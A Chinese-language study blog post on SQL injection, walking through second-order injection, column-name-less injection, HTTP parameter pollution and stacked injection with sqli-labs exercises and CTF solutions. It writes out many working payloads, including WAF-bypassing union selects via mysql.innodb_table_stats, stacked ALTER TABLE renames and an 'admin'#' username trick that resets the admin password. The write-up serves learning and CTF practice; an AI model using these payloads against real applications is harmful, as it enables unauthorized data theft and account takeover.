写了挺久的一篇笔记了,是一些关于sql注入的学习及理解,分享出来,也方便以后自己阅读
以后有新的理解,相关内容,也会及时更新添加上来的,如果有错误也希望大佬指正。
二次注入:
相当于进行两次注入,第一次注入输入恶意数据存储到数据库中,第二次在查询时引用存储的恶意数据发生了sql注入
注入流程:
在第一次进行数据库插入数据的时候,仅仅只是使用了 addslashes 或者是借助 get_magic_quotes_gpc 对其中的特殊字符进行了转义,在后端代码中可能会被转义,但在存入数据库时还是原来的数据,数据中一般带有单引号和#号,然后下次使用在拼凑SQL中,所以就形成了二次注入。
例:
插入1‘#
转义成1\’#
不能注入,但是保存在数据库时变成了原来的1’#
利用1’#进行注入,这里利用时要求取出数据时不转义
为什么要二次注入?
如果开发者对一个查询页面过滤十分充分,无法通过通过普通注入直接得到数据库时,可尝试结合其他页面将恶意数据存储到数据库中,再配合查询页面查询已存储的数据,导致数据库执行恶意代码。(如增加用户和查询用户结合)
与普通注入区别?
普通注入:(1)在http后面构造语句,是立即直接生效;
• (2)普通注入很容易被扫描工具扫描到。
二次注入:(1)先构造语句(此语句含有被转义字符的语句);
• (2)将我们构造的恶意语句存入数据库;
• (3)第二次构造语句(结合前面已被存入数据库的语句构造。因为系统没有对已存入的数据做检查,成功注入);
• (4)二次注入更加难以被发现。
https://www.sohu.com/a/138607080_698291
通过sql_labs 24理解:
源码分析
login.php:
mysql_real_escape_string — 转义 SQL 语句中使用的字符串中的特殊字符,并考虑到连接的当前字符集
login_creat.php:
mysql_escape_string — 转义一个字符串用于 mysql_query
pass_change.php:
如果正常注入思路,在username处用'
单引号测试,无报错
在密码处使用单引号,任然返回同一个界面,这个时候这些页面想直接注入是比较难得,于是通过下面的注册用户配合进行二次注入
先创建一个新用户admin‘#,密码123,虽然转义了'
,但是存入数据库之后,还是原来的'
,且此时admin密码为admin
这时进入admin'#用户,修改密码的地方本来应该执行
原sql语句:
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
带入此时的用户名,sql语句就变成了
$sql="UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass'";
此时由于我们的恶意代码,导致真正执行的sql语句变成了修改admin的密码
$sql="UPDATE users SET PASSWORD='$pass' where username='admin'";
修改密码为123456
查看admin密码,成功被修改
无列名注入(绕过空格,or,and等):
顾名思义,就是在不知道列名的情况下进行 sql 注入。
在 mysql => 5 的版本中存在一个名为 information_schema 的库,里面记录着 mysql 中所有表的结构。通常,在 mysql sqli 中,我们会通过此库中的表去获取其他表的结构,也就是表名、列名等。但是这个库经常被 WAF 过滤。
当我们通过暴力破解获取到表名后,如何利用呢?
在 information_schema 中,除了 SCHEMATA、TABLES、COLUMNS 有表信息外,高版本的 mysql 中,还有 INNODB_TABLES 及 INNODB_COLUMNS 中记录着表结构。
ctf扩展实战([SWPU2019]Web1):
先进入页面,有登录注册,尝试一波弱口令,万能密码,单引号,都没有办法,这个时候看到有注册,联想到二次注入看下行不
但是经过一波尝试,都没办法,可能这个页面不存在注入,登录进去再看看。
申请广告处,用单引号发现sql注入报错
判断注入类型为字符型,单引号闭合,再用1"看下是否报错
确定为单引号,判断列数order by
发现order by ,空格等都被被过滤
针对order by可以用group by绕过
针对空格可以用/**/绕过
于是继续尝试
'1目的闭合后面引号,接着goup by 判断字段,直到第23个才报错
确定23个字段后,按常规方式,找占位
1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'1
找到是2,3,,再看看version和database
1'/**/union/**/select/**/1,version(),database(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'1
常规操作接下来是爆表,payload如下:
group_concat(table_name) from information_schema.tables where table_schema=database()
但是这个题,又过滤了information_schema这个表
问题就来了,如何绕过information_schema:https://www.anquanke.com/post/id/193512
但是这个题没有sys.schema_auto_increment_columns 这个库,而且一般要超级管理员才可以访问sys
在这里只能用innodb绕过,爆出表名
innodb:mysql默认的存储引擎
- mysql.innodb_table_stats存储的是innodb引擎的库名和表名
- innodb_index_stats存储的是innodb引擎的库名,表名及其对应的索引名称
利用方式:
select table_name from mysql.innodb_table_stats where database_name=库名
当除了information_schema之外几个可以利用的表:https://www.jianshu.com/p/5aad090eb613
因此构造payload:
1' union select 1,(select group_concat(table_name) from mysql.innodb_table_stats,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'1
爆出了所有表名,但是innodb仅能爆出表名,由于不知道列名,再进行无列名注入
https://zhuanlan.zhihu.com/p/98206699?utm_source=wechat_session
无列名注入的原理其实很简单,类似于将我们不知道的列名进行取别名操作,在取别名的同时进行数据查询,所以,如果我们查询的字段多于数据表中列的时候,就会出现报错。
这道题也过滤的反引号`
,用别名代替:(注意要先确定表里有几列)
先尝试表中只有两列
1' union select 1,(select group_concat(a) from(select 1 as a,2 union select * from users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'1
//后面的x可以随便什么,相当于给前面的子查询命名,因为子查询的方式是将一个查询语句嵌套在另一个查询语句中,在特定的情况下,一个查询语句的条件需要另一个查询语句来获取,内层查询语句的查询结果,可以为外层查询语句提供查询条件。
报错列数不同,试3
回显正确,证明表中列数是3,但是要查看的列是序号,明显不是想要的,查看第二列
1'/**/union/**/select/**/1,(select/**/group_concat(a)/**/from(select/**/1,2/**/as/**/a,3/**/union/**/select/**/*/**/from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'1
查看flag,即是第三列的内容
1'/**/union/**/select/**/1,(select/**/group_concat(a)/**/from(select/**/1,2,3/**/as/**/a/**/union/**/select/**/*/**/from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'1
为了便于理解,数据库长相是以下的样子
总结
- 空格绕过方法/**/
- or和and被禁用时,information_schema,order by函数都不能用时,绕过information_schem可利用mysql.innodb_table_stats,sys.schema_table_statistics代替,order by用group by代替
- 无列名注入:http://www.bubuko.com/infodetail-3398852.html
http参数污染:
通常一个http请求只会有一个参数,但是当同一个参数出现两次时,不同的中间件会出现不同的情况。
web服务器 | 参数获取函数 | 获取到的参数 |
PHP/Apache | $_GET(“par”) | Last |
JSP/Tmocat | Request.getParameter(“par”) | First |
Perl(CGI)/Apache | Param(“par”) | First |
Python/Apache | getvalue(“par”) | All(List) |
ASP/IIS | Request.QueryString(“par”) | All(comma-delimited string) |
如果WAF只检测了其中某一个参数,而中间件对同名参数的检测正好相反,如中间件是PHP/Apache的,WAF只检测同名参数中的第一个,当传递值是index.php?id=1&id=-1' union select 1,database(),3 --+
waf只对第一个检测,则绕过了waf,由于中间件取的最后一个参数,则可以执行想要的sql语句了
堆叠注入:
堆叠注入,即是多条sql语句放在一起执行。在mysql中,每条语句以;
结尾,于是可以在执行sql语句时利用分号为间隔,mysql会一起执行
堆叠注入的好处:
可以执行除查询操作外的更多语句如建表,删表等操作,但是union则只能进行查询操作
堆叠注入的局限性:
堆叠注入的局限性在于并不是每一个环境下都可以执行,可能受到API或者数据库引擎不支持的限制,如Oracle不支持堆叠注入。权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。
以sqli-labs 38为例来理解:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
/* execute multi query */
if (mysqli_multi_query($con1, $sql))
//mysqli_multi_query() 函数执行一个或多个针对数据库的查询。多个查询用分号进行分隔。
{
/* store first result set */
if ($result = mysqli_store_result($con1))
{
if($row = mysqli_fetch_row($result))
{
echo '<font size = "5" color= "#00FF00">';
printf("Your Username is : %s", $row[1]);
echo "<br>";
printf("Your Password is : %s", $row[2]);
echo "<br>";
echo "</font>";
}
// mysqli_free_result($result);
}
/* print divider */
if (mysqli_more_results($con1))
{
//printf("-----------------\n");
}
//while (mysqli_next_result($con1));
}
else
{
echo '<font size="5" color= "#FFFF00">';
print_r(mysqli_error($con1));
echo "</font>";
}
/* close connection */
mysqli_close($con1);
可以看到对传入参数直接进行了查询,没有过滤,造成sql注入
但是重点是使用了mysqli_multi_query函数,导致可以进行堆叠注入
执行?id=1' ;insert into users(id,username,password) values ('38','less38','hello')--+
成功添加数据
ctf扩展([强网杯 2019]随便注):
正常sql注入,报错有回显,确定字段数为2
如果继续union select,根据回显可见增删改查的操作都被正则过滤了
这时可以使用堆叠注入
1‘;show databases #
看数据库
1';show tables#
看表名
1';show columns from `words`;#
看列名,可知flag的位置,但是这个时候,仅用show已经找不出flag了
由于是堆叠注入,就可以执行非查询语句以外的sql语句了。使用alter(对已有表中添加删除操作),rename,可以更改表名列名的操作获取flag,大概思路如下:
把words改为其他的表名,数字改为words,flag修改为id
修改表名和列名的语法如下:
修改表名(将表名user改为users)
alter table user rename to users;
修改列名(将字段名username改为name)
alter table users change uesrname name varchar(30);
最终payload:
1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#
拆分开来如下
1';
alter table words rename to words1;
alter table `1919810931114514` rename to words;
alter table words change flag id varchar(50);
然后直接1' or 1=1#,找到flag
[SUCTF 2019]EasySQL 1:
同样是堆叠注入,如果正常去尝试,很多关键字都是被过滤了的
继续看flag,1;show columns from Flag;
结果失败,最后看别人的wp
猜测出了查询语句:
select $_GET['query'] || flag from flag
解法思想是把"||"变成字符串连接符,而不是或涉及到mysql中sql_mode参数设置,设置 sql_mode=pipes_as_concat
,将“||”视为字符串的连接操作符而非或运算符,这和Oracle数据库是一样的,也和字符串的拼接函数Concat相类似
payload:
1;set sql_mode=PIPES_AS_CONCAT;select 1
select 1 from 的意思大概是:增加一个临时列,它的列名是1,然后那一列的值都为1
还有一种解法:
payload:
*,1
使sql语言成为:
sql=select.post['query']."||flag from Flag";
如果$post['query']的数据为*,1,sql语句就变成了select *,1||flag from Flag,
等于select *,1 from Flag,这样就直接查询出了Flag表中的所有内容。
总结
其实通过以上的题,堆叠注入更明显的优势就是可以执行更多的sql语句,但是一般堆叠注入的情况下,都过滤了大量的关键字,这个时候需要对sql非常熟悉,且发散思维要很强,
自己也学到了,可以通过修改表名列名,在本来的表中找到想要的东西。
。。。。。。。。。。